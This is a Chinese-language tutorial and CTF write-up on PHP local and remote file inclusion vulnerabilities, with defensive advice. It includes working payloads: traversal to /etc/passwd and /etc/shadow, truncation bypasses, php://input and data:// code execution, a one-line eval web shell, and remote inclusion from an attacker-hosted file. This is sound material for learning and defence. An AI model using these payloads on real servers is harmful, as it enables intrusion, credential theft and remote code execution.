目录标题
文件包含漏洞
文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞,被包涵的文件在第三方服务是,就形成了远程文件包含漏洞。
漏洞危害
1.执行恶意代码
2.包含恶意文件控制网站,甚至控制网站服务器等
文件包含分类
简单的来说,就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。
1、本地文件包含LFI(Local File Include)
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。
包含同目录下的文件
?file=test.txt
目录遍历
?file=./../../test.txt
./ 当前目录 …/ 上一级目录,这样的遍历目录来读取文件
包含日志
利用条件:需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web 服务器会将请求写入到日志文件中,比如说 apache。在用户发起请求时,会将请求写入 access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。
?file=../../../../../../../../../var/log/apache/error.log
本地包含绕过姿势
1. %00截断:
?file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
2. %00截断目录遍历:
?file=../../../../../../../../../var/www/%00
需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris
3.路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。
4.点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 256
2、远程文件包含RFI(Remote File Include)
远程文件包含漏洞,是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但RFI的利用条件较为苛刻,需要php.ini
中进行配置才能远程包含文件成功
allow_url_fopen = On
allow_url_include = On
在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。
远程包含绕过姿势
%00截断
路径长度截断
(linux-4096 , windows-256)(不受GRC限制),5.3以后被修复
?name=../ ../ ../ ../!../../ ../! ../!..Zwww/1.php/././././././.[.….]/.1.1.1.!.1.1./.1./
点号截断
只在window下可用
?name=../ ../ ../ ..7 ..7 ../ ../ ..! ../boot.ini/ .......]....
?伪截断,不受GPC和PHP版本限制(<5.2.8)
php://输入输出流
php://filter/read=convert.base64-encode/resource=1.txt 以base64编码截断
linux系统敏感信息路径:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.conf // mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
构造Payload
?url=../../../etc/passwd
存在文件包含漏洞
文件包含相关函数
include()
使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时,程序警告,但会继续执行。
inclue_once()
功能和前者一样,不同处在于include_once会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,程序只调用一次。
require()
使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
require_once()
功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析。
文件包含漏洞防御方法
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。
伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
关于allow_url_fopen和allow_url_include的设置和用法:
input://协议
用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行
条件:
allow_url_include = On
使用方法
?file=php://input
POST:<? phpinfo();?>
filter://协议
用来查看源码,通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。
?file=php://filter/read=convert.base64-encode/resource=flag.php
data://协议
条件:
php version > php5.2
allow_url_fopen = On
allow_url_include = On
data伪协议的一些格式:
data://,<文本数据>
data://text/plain,<文本数据>
data://text/html,<html代码>
data://text/css,<CSS代码>
data://text/javascript,<js代码>
它可以直接执行语句中的代码
?file=php://data://text/plain,<?php phpinfo()?>
?file=php://data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=php://data:text/plain,<?php phpinfo()?>
?file=php://data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
练习
[buuctf]BUU LFI COURSE 1
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
本地包含,构造payload
?file=/flag
[ctfhub]-文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
点击超链接,跳转到shell.txt,内容为<?php eval($_REQUEST['ctfhub']);?>
,请求参数为ctfhub,如果get传入参数file的值开头不为flag,则会执行include()
函数。
文件包含shell.txt
Payload: ?file=shell.txt
查看根目录文件
Post: ctfhub=system(‘ls’);
没有想要的文件,查看下一级目录,发现flag文件
Post:ctfhub=system("ls /");
再使用cat /flag
读取flag文件
ctfhub=system("cat /flag");
[ctfhub]-php://input
考查:php://input伪协议
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
使用input协议
Payload:?file=php://input
然后传入
Post:<?php system("ls /"); ?>
继续
Post:<?php system("cat /flag_1239"); ?>
[ctfshow]-web3
考查:php://input伪协议
Payload: ?url=php://input
通过post向服务器写入<?php system('ls');?>
,查询当前目录下的文件结构,发现了ctf_go_go_go
文件
然后通过cat命令查看文件内容
[ctfshow]-web3
考查:php://filter协议
使用filter协议
Payload: ?url=php://filter/convert.base64-encode/resource=ctf_go_go_go
会以base64
的形式输出ctf_go_go_go文件内容
Payload: ?url=php://filter/read=string.toupper/resource=ctf_go_go_go
会以大写字母
输出ctf_go_go_go的内容
Payload: ?url=php://filter/read=string.toupper|string.rot13/resource=ctf_go_go_go
会以大写字母
输出ctf_go_go_go的内容,并且进行rot13加密
[ctfhub]远程包含
远程包含服务器根目录atkx.txt内容为:<?php phpinfo(); ?>
Payload:?file=http://your_ip/atkx.txt
可以看到phpinfo页面
然后修改atkx.txt内容
<?php system('cat /flag'); ?>
得到flag